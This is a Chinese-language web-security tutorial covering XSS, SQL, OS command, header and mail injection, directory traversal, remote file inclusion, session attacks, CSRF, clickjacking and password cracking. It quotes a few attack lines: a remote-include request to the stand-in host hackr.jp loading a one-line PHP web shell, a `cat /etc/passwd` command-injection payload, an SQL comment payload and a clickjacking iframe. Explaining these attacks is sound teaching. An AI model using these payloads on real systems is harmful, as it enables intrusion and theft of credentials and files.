充分熟知此處漏洞特點的攻擊者，會建立了下面這個嵌入惡意程式碼的URL。並植入事先準備好的欺詐郵件中或Web頁面內，誘使使用者去點選該URL

瀏覽器開啟該URI後，直觀感覺沒有發生任何變化，但設定好的指令碼卻偷偷開始運行了。當用戶在表單內輸入ID和密碼之後，就會直接傳送到攻擊者的網站（也就是hackr.jp），導致個人登入資訊被竊取。之後，ID及密碼會傳給該正規網站，而接下來仍然是按正常登入步驟，使用者很難意識到自己的登入資訊已遭洩露。
利用指令碼竊取使用者的Cookie值，被害者在不知情的情況下，幫助攻擊者傳送惡意請求

例子：

該指令碼內指定的http://hackr.jp/xss.js檔案：

在存在可跨站指令碼攻擊安全漏洞的Web應用上執行上面這段JavaScript程式，即可訪問到該Web應用所處域名下的Cookie資訊。然後這些資訊會發送至攻擊者的Web網站（http://hackr.jp/），記錄在他的登入日誌中。
顯示偽造的文章或圖片。

SQL注入攻擊

什麼是SQL：

SQL是用來操作關係型資料庫管理系統（Relational DataBase ManagementSystem,RDBMS）的資料庫語言，可進行操作資料或定義資料等。RDBMS中有名的資料庫有Oracle Database、Microsoft SQL Server、IBM DB2、MySQL和PostgreSQL等。

SQL注入（SQL Injection）是指標對Web應用使用的資料庫，通過執行非法的SQL而產生的攻擊。Web應用通常都會用到資料庫，當需要對資料庫表內的資料進行檢索或新增、刪除等操作時，會使用SQL語句連線資料庫進行特定的操作。如果在呼叫SQL語句的方式上存在疏漏，就有可能執行被惡意注入（Injection）非法SQL語句。它可以：

非法檢視或篡改資料庫內的資料
規避認證
執行和資料庫伺服器業務關聯的程式等

使用資料庫的Web應用，通過某種方法將SQL語句傳給RDBMS，再把RDBMS返回的結果靈活地使用在Web應用中。

常見例子：

正常情況下，“上野宣”關鍵詞的搜尋只會列出作者為“上野宣”書籍為可售狀態的書（flag=1）

現在，在剛才指定查詢欄位的上野宣改寫成上野宣’--：

SQL語句中的--之後全視為註釋。即and flag=1這個條件被自動忽略了。這樣，搜尋結果就跟flag的設定值無關，只取出滿足author=“上野宣”條件所在行的資料，這樣連那些尚未出版的圖書也一併顯示出來了。

總結：SQL注入是攻擊者將SQL語句改變成開發者意想不到的形式以達到破壞結構的攻擊。

OS命令注入攻擊

OS命令注入攻擊（OS Command Injection）是指通過Web應用，執行非法的作業系統命令達到攻擊的目的。只要在能呼叫Shell函式的地方就有存在被攻擊的風險。

可以從Web應用中通過Shell來呼叫作業系統命令。但是如果呼叫Shell時存在疏漏，就可以執行插入的非法OS命令，它可以向Shell傳送命令，讓Windows或Linux作業系統的命令列啟動程式

例子：

該功能可將使用者的諮詢郵件按已填寫的對方郵箱地址傳送過去。

下面摘選處理該表單內容的一部分核心程式碼：

程式中的open函式會呼叫sendmail命令傳送郵件，而指定的郵件傳送地址即$adr的值。程式接收該值，構成以下的命令組合：

攻擊者的輸入值中含有分號（;）。這個符號在OS命令中，會被解析為分隔多個執行命令的標記。

可見，sendmail命令執行被分隔後，接下去就會執行cat /etc/passwd| [email protected]這樣的命令了。結果，含有Linux賬戶資訊/etc/passwd的檔案，就以郵件形式傳送給了[email protected]。

HTTP首部注入攻擊

HTTP首部注入攻擊（HTTP Header Injection）是指攻擊者通過在響應首部欄位內插入換行，新增任意響應首部或主體的一種攻擊。屬於被動攻擊模式。向首部主體內新增內容的攻擊稱為HTTP響應截斷攻擊（HTTP Response SplittingAttack）。

如下所示，Web應用有時會把從外部接收到的數值，賦給響應首部欄位Location和Set-Cookie。HTTP首部注入可能像這樣，通過在某些響應首部欄位需要處理輸出值的地方，插入換行發動攻擊。

它可以：

設定任何Cookie資訊
重定向至任意URL
顯示任意的主體（HTTP響應截斷攻擊）

例子：

下面的功能是為每個類別都設定了一個類別ID值，一旦選定某類別，就會將該ID值反映在響應內的Location首部欄位內，形如Location:http://example.com/?cat=101。令瀏覽器發生重定向跳轉。

現在，攻擊者以下面的內容替代之前的類別ID後傳送請求：

其中，%0D%0A代表HTTP報文中的換行符，緊接著的是可強制將攻擊者網站（http://hackr.jp/）的會話ID設定成SID=123456789的Set-Cookie首部欄位。傳送該請求之後，假設結果返回以下響應。

此刻，首部欄位Set-Cookie已生效，因此攻擊者可指定修改任意的Cookie資訊。通過和會話固定攻擊（攻擊者可使用指定的會話ID）攻擊組合，攻擊者可偽裝成使用者。

攻擊者輸入的%0D%0A，原本應該屬於首部欄位Location的查詢值部分，但經過解析後，%0D%0A變成了換行符，結果插入了新的首部欄位。這樣一來，攻擊者可在響應中插入任意的首部欄位。

例子2：

但是要將兩個%0D%0A%0D%0A並排插入字串後傳送。利用這兩個連續的換行就可作出HTTP首部與主體分隔所需的空行了，這樣就能顯示偽造的主體，達到攻擊目的：

在可能進行HTTP首部注入的環節，通過傳送上面的字串，返回結果得到以下這種響應：

利用這個攻擊，已觸發陷阱的使用者瀏覽器會顯示偽造的Web頁面，再讓使用者輸入自己的個人資訊等，可達到和跨站指令碼攻擊相同的效果

郵件首部注入攻擊

郵件首部注入（Mail Header Injection）是指Web應用中的郵件傳送功能，攻擊者通過向郵件首部To或Subject內任意新增非法內容發起的攻擊。利用存在安全漏洞的Web網站，可對任意郵件地址傳送廣告郵件或病毒郵件。

例子：

該功能可在表單內填入諮詢者的郵件地址及諮詢內容後，以郵件的形式傳送給網站管理員：

現在，攻擊者將以下資料作為郵件地址發起請求：

%0D%0A在郵件報文中代表換行符。一旦諮詢表單所在的Web應用接收了這個換行符，就可能實現對Bcc郵件地址的追加發送

另外，使用兩個連續的換行符就有可能篡改郵件文字內容併發送：

目錄遍歷攻擊

目錄遍歷（Directory Traversal）攻擊是指對本無意公開的檔案目錄，通過非法截斷其目錄路徑後，達成訪問目的的一種攻擊。這種攻擊有時也稱為路徑遍歷（PathTraversal）攻擊。

通過Web應用對檔案處理操作時，在由外部指定檔名的處理存在疏漏的情況下，使用者可使用../等相對路徑定位到/etc/passed等絕對路徑上，因此伺服器上任意的檔案或檔案目錄皆有可能被訪問到。這樣一來，就有可能非法瀏覽、篡改或刪除Web伺服器上的檔案。雖然存在輸出值轉義，但更應該關閉指定對任意檔名的訪問許可權。

例子：

以顯示讀取檔案功能為例。該功能通過以下查詢欄位，指定某個檔名。然後從/www/log/檔案目錄下讀取這個指定的檔案：

現在，攻擊者設定如下查詢欄位後發出請求：

查詢欄位為了讀取攻擊者盯上的/etc/passwd檔案，會從/www/log/目錄開始定位相對路徑。如果read.php指令碼接受對指定目錄的訪問請求處理，那原本不公開的檔案就存在可被訪問的風險：

遠端檔案包含漏洞

遠端檔案包含漏洞（Remote File Inclusion）是指當部分指令碼內容需要從其他檔案讀入時，攻擊者利用指定外部伺服器的URL充當依賴檔案，讓指令碼讀取之後，就可執行任意指令碼的一種攻擊。這主要是PHP存在的安全漏洞，對PHP的include或require來說，這是一種可通過設定，指定外部伺服器的URL作為檔名的功能。但是，該功能太危險，PHP5.2.0之後預設設定此功能無效。雖然存在輸出值轉義，但更應控制對任意檔名的指定。

例子：

以include讀入由查詢欄位指定檔案的功能為例。該功能可通過以下查詢欄位形式指定檔名，並在指令碼內的include語句處讀入這個指定檔案：
http://example.com/foo.php?mod=news.php
對應指令碼的原始碼如下所示：
//http://example.com/foo.php的原始碼（部分摘錄）
Smodname=$_GET['mod'];
include(Smodname);
現在，攻擊者指定如同下面形式的URL發出請求：
http://example.com/foo.php?mod=http://hackr.jp/cmd.php&cmd=1s
攻擊者已事先在外部伺服器上準備了以下這段指令碼：
//http://hackr.jp/cmd.php的原始碼
<? system($_GET['cmd']) ?>
假設Web伺服器（example.com）的include可以引入外部伺服器的URL，那就會讀入攻擊者在外部伺服器上事先準備的URL（http://hackr.jp/cmd.php）。結果，通過system函式就能在Web伺服器（example.com）上執行查詢欄位指定的OS命令了。

在以上攻擊案例中，執行了可顯示Web伺服器（example.com）上檔案及目錄資訊的ls命令

因設定或設計上的缺陷引發的安全漏洞

指的是錯誤設定Web伺服器，或是由設計上的一些問題引起的安全漏洞。

強制瀏覽

強制瀏覽（Forced Browsing）安全漏洞是指，從安置在Web伺服器的公開目錄下的檔案中，瀏覽那些原本非自願公開的檔案。它會造成以下影響：

洩露顧客的個人資訊等重要情報
洩露原本需要具有訪問許可權的使用者才可查閱的資訊內容
洩露未外連到外界的檔案

對那些原本不願公開的檔案，為了保證安全會隱蔽其URL。可一旦知道了那些URL，也就意味著可瀏覽URL對應的檔案。直接顯示容易推測的檔名或檔案目錄索引時，通過某些方法可能會使URL產生洩露：

通過指定檔案目錄名稱，即可在檔案一覽中看到顯示的檔名:
http://www.example.com/log/

容易被推測的檔名及目錄名:
http://www.example.com/entry/entry_081202.log

由編輯軟體自動生成的備份檔案無執行許可權，有可能直接以原始碼形式顯示:
http://www.example.com/cgi-bin/entry.cgi（原始檔案）
http://www.example.com/cgi-bin/entry.cgi～（備份檔案）
http://www.example.com/cgi-bin/entry.bak（備份檔案）

直接通過URL訪問原本必須經過認證才能在Web頁面上使用的檔案（HTML檔案、圖片、PDF等文件、CSS以及其他資料等）

不正確的錯誤訊息處理

不正確的錯誤訊息處理（Error Handling Vulnerability）的安全漏洞是指，Web應用的錯誤資訊內包含對攻擊者有用的資訊。與Web應用有關的主要錯誤資訊有：

Web應用丟擲的錯誤訊息
資料庫等系統丟擲的錯誤訊息

Web應用不必在使用者的瀏覽畫面上展現詳細的錯誤訊息。對攻擊者來說，詳細的錯誤訊息有可能給他們下一次攻擊以提示。

例子1：

Web應用丟擲的錯誤訊息

假設有一個認證功能，在表單內輸入郵件地址及密碼匹配發生錯誤時，會提示錯誤資訊。

比如當輸入的郵件地址尚未在該Web網站上註冊時，會“郵件地址未註冊”的錯誤訊息。而當郵件地址存在，會提示“輸入的密碼有誤”之類的錯誤訊息。

攻擊者利用進行不同的輸入會提示不同的錯誤資訊這條，就可用來確認輸入的郵件地址是否已在這個Web網站上註冊過了。為了不讓錯誤訊息給攻擊者以啟發，建議將提示訊息的內容僅保留到“認證錯誤”這種程度即可。

例子2：

資料庫等系統丟擲的錯誤訊息

本功能用於檢索資料，當輸入未預料的字串時，會提示資料庫的錯誤：

上方的畫面中顯示了與SQL有關的錯誤資訊。對開發者而言，該資訊或許在Debug時會有幫助，但對使用者毫無用處。攻擊者從這條訊息中可讀出資料庫選用的是MySQL，甚至還看見了SQL語句的片段。這可能給攻擊者進行SQL注入攻擊以啟發。

系統丟擲的錯誤主要集中在以下幾個方面：

PHP或ASP等指令碼錯誤
資料庫或中介軟體的錯誤
Web伺服器的錯

開放重定向

該功能向URL指定引數，使本來的URL發生重定向跳轉：

http://example.com/?redirect=http://www.tricorder.jp

現在，攻擊者把重定向指定的引數改寫成已設好陷阱的Web網站對應的連線：

http:/∥example.com/?redirect=http://hackr.jp

使用者看到URL後原以為訪問example.com，不料實際上被誘導至hackr.jp這個指定的重定向目標。可信度高的Web網站如果開放重定向功能，則很有可能被攻擊者選中並用來作為釣魚攻擊的跳板。

因會話管理疏忽引發的安全漏洞

會話管理是用來管理使用者狀態的必備功能，但是如果在會話管理上有所疏忽，就會導致使用者的認證狀態被竊取等後果。

會話劫持

會話劫持（Session Hijack）是指攻擊者通過某種手段拿到了使用者的會話ID，並非法使用此會話ID偽裝成使用者，達到攻擊的目的。

具備認證功能的Web應用，使用會話ID的會話管理機制，作為管理認證狀態的主流方式。會話ID中記錄客戶端的Cookie等資訊，伺服器端將會話ID與認證狀態進行一對一匹配管理。下面列舉了幾種攻擊者可獲得會話ID的途徑：

通過非正規的生成方法推測會話ID
通過竊聽或XSS攻擊盜取會話ID
通過會話固定攻擊（Session Fixation）強行獲取會話ID

例子:

以認證功能為例講解會話劫持。這裡的認證功能通過會話管理機制，會將成功認證的使用者的會話ID（SID）儲存在使用者瀏覽器的Cookie中。

攻擊者在得知該Web網站存在可跨站攻擊（XSS）的安全漏洞後，就設定好用JavaScript指令碼呼叫document.cookie以竊取Cookie資訊的陷阱，一旦使用者踏入陷阱（訪問了該指令碼），攻擊者就能獲取含有會話ID的Cookie。

攻擊者拿到使用者的會話ID後，往自己的瀏覽器的Cookie中設定該會話ID，即可偽裝成會話ID遭竊的使用者，訪問Web網站了。

會話固定攻擊

會話固定攻擊（SessionFixation）攻擊會強制使用者使用攻擊者指定的會話ID，屬於被動攻擊。

例子：

以認證功能為例。這個Web網站的認證功能，會在認證前釋出一個會話ID，若認證成功，就會在伺服器內改變認證狀態。

CSRF攻擊

跨站點請求偽造（Cross-Site Request Forgeries,CSRF）攻擊是指攻擊者通過設定好的陷阱，強制對已完成認證的使用者進行非預期的個人資訊或設定資訊等某些狀態更新，屬於被動攻擊。它會造成以下影響：

利用已通過認證的使用者許可權更新設定資訊等
利用已通過認證的使用者許可權購買商品
利用已通過認證的使用者許可權在留言板上發表言論

例子：

以留言板功能為例，該功能只允許已認證並登入的使用者在留言板上發表內容：

在該留言板系統上，受害者使用者A是已認證狀態。它的瀏覽器中的Cookie持有已認證的會話ID

攻擊者設定好一旦使用者訪問，即會發送在留言板上發表非主觀行為產生的評論的請求的陷阱。使用者A的瀏覽器執行完陷阱中的請求後，留言板上也就會留下那條評論

其他安全漏洞

密碼破解攻擊（Password Cracking）即算出密碼，突破認證。攻擊不僅限於Web應用，還包括其他的系統（如FTP或SSH等），如何對具備認證功能的Web應用進行的密碼破解？

密碼破解的手段

通過網路的密碼試錯
1. 窮舉法
  
  窮舉法（Brute-force Attack，又稱暴力破解法）是指對所有金鑰集合構成的金鑰空間（Keyspace）進行窮舉。
  
  即，用所有可行的候選密碼對目標的密碼系統試錯，用以突破驗證的一種攻擊。比如銀行採用的個人識別碼是由“4位數字”組成的密碼，那麼就要從0000～9999中的全部數字逐個進行嘗試。這樣一來，必定在候選的密碼集合中存在一個正確的密碼，可通過認證。因為窮舉法會嘗試所有的候選密碼，所以是一種必然能夠破解密碼的攻擊。但是，當金鑰空間很龐大時，解密可能需要花費數年，甚至千年的時間，因此從現實角度考量，攻擊是失敗的。
2. 字典攻擊
  
  字典攻擊是指利用事先收集好的候選密碼（經過各種組合方式後存入字典），列舉字典中的密碼，嘗試通過認證的一種攻擊手法。
  
  還是舉銀行採用個人識別碼是“4位數字”的密碼的例子，考慮到使用者使用自己的生日做密碼的可能性較高，於是就可以把生日日期數值化，如將0101～1231儲存成字典，進行嘗試。與窮舉法相比，由於需要嘗試的候選密碼較少，意味著攻擊耗費的時間比較短。但是，如果字典中沒有正確的密碼，那就無法破解成功。
對已加密密碼的破解（指攻擊者入侵系統，已獲得加密或雜湊處理的密碼資料的情況）

Web應用在儲存密碼時，一般不會直接以明文的方式儲存，通過雜湊函式做雜湊處理或加salt的手段對要儲存的密碼本身加密。那即使攻擊者使用某些手段竊取密碼資料，如果想要真正使用這些密碼，則必須先通過解碼等手段，把加密處理的密碼還原成明文形式。

從加密過的資料中匯出明文通常有以下幾種方法:
- 通過窮舉法-字典攻擊進行類推
  
  針對密碼使用雜湊函式進行加密處理的情況，採用和窮舉法或字典攻擊相同的手法，嘗試呼叫相同的雜湊函式加密候選密碼，然後把計算出的雜湊值與目標雜湊值匹配，類推出密碼。
- 彩虹表
  
  彩虹表（Rainbow Table）是由明文密碼及與之對應的雜湊值構成的一張資料庫表，是一種通過事先製作龐大的彩虹表，可在窮舉法·字典攻擊等實際破解過程中縮短消耗時間的技巧。從彩虹表內搜尋雜湊值就可以推匯出對應的明文密碼。
- 拿到金鑰
  
  使用共享金鑰加密方式對密碼資料進行加密處理的情況下，如果能通過某種手段拿到加密使用的金鑰，也就可以對密碼資料解密了。
- 加密演算法的漏洞
  
  考慮到加密演算法本身可能存在的漏洞，利用該漏洞嘗試解密也是一種可行的方法。如果是Web應用開發者獨立實現的加密演算法，想必尚未經過充分的驗證，還是很有可能存在漏洞的。

除去突破認證的攻擊手段，還有SQL注入攻擊逃避認證，跨站指令碼攻擊竊取密碼資訊等方法

點選劫持

點選劫持（Clickjacking）是指利用透明的按鈕或連結做成陷阱，覆蓋在Web頁面之上。然後誘使使用者在不知情的情況下，點選那個連結訪問內容的一種攻擊手段。這種行為又稱為介面偽裝（UI Redressing）。

例子：

以SNS網站的登出功能為例。利用該登出功能，註冊登入的SNS使用者只需點選登出按鈕，就可以從SNS網站上登出自己的會員身份。

攻擊者在預料使用者會點選的Web頁面上設下陷阱。上圖中釣魚遊戲頁面上的PLAY按鈕就是這類陷阱的例項。在做過手腳的Web頁面上，目標的SNS登出功能頁面將作為透明層覆蓋在遊戲網頁上。覆蓋時，要保證PLAY按鈕與登出按鈕的頁面所在位置保持一致。
//iframe頁面中使用透明可點選按鈕的示例
<iframe id="target"src="http://sns.example.jp/leave" style==>
"opacity:0;filter:alpha(opacity=0)"></iframe>
<button style="position:absolute;top:100;left:100;z-index:-
1">PLAY=>
</button>
由於SNS網站作為透明層覆蓋目標網站，SNS網站上處於登入狀態的使用者訪問這個釣魚網站並點選頁面上的PLAY按鈕之後，等同於點選了SNS網站的登出按鈕。

DoS攻擊

DoS攻擊（Denial of Service attack）是一種讓執行中的服務呈停止狀態的攻擊。有時也叫做服務停止攻擊或拒絕服務攻擊。DoS攻擊的物件不僅限於Web網站，還包括網路裝置及伺服器等。有兩種DoS攻擊方式：

集中利用訪問請求造成資源過載，資源用盡的同時，實際上服務也就呈停止狀態。
通過攻擊安全漏洞使服務停止。

其中，集中利用訪問請求的DoS攻擊，單純來講就是傳送大量的合法請求。伺服器很難分辨何為正常請求，何為攻擊請求，因此很難防止DoS攻擊。

多臺計算機發起的DoS攻擊稱為DDoS攻擊（Distributed Denial of Serviceattack）。DDoS攻擊通常利用那些感染病毒的計算機作為攻擊者的攻擊跳板。

後門程式

後門程式（Backdoor）是指開發設定的隱藏入口，可不按正常步驟使用受限功能。利用後門程式就能夠使用原本受限制的功能。可分為以下3種類型：

開發階段作為Debug呼叫的後門程式
開發者為了自身利益植入的後門程式
攻擊者通過某種方法設定的後門程式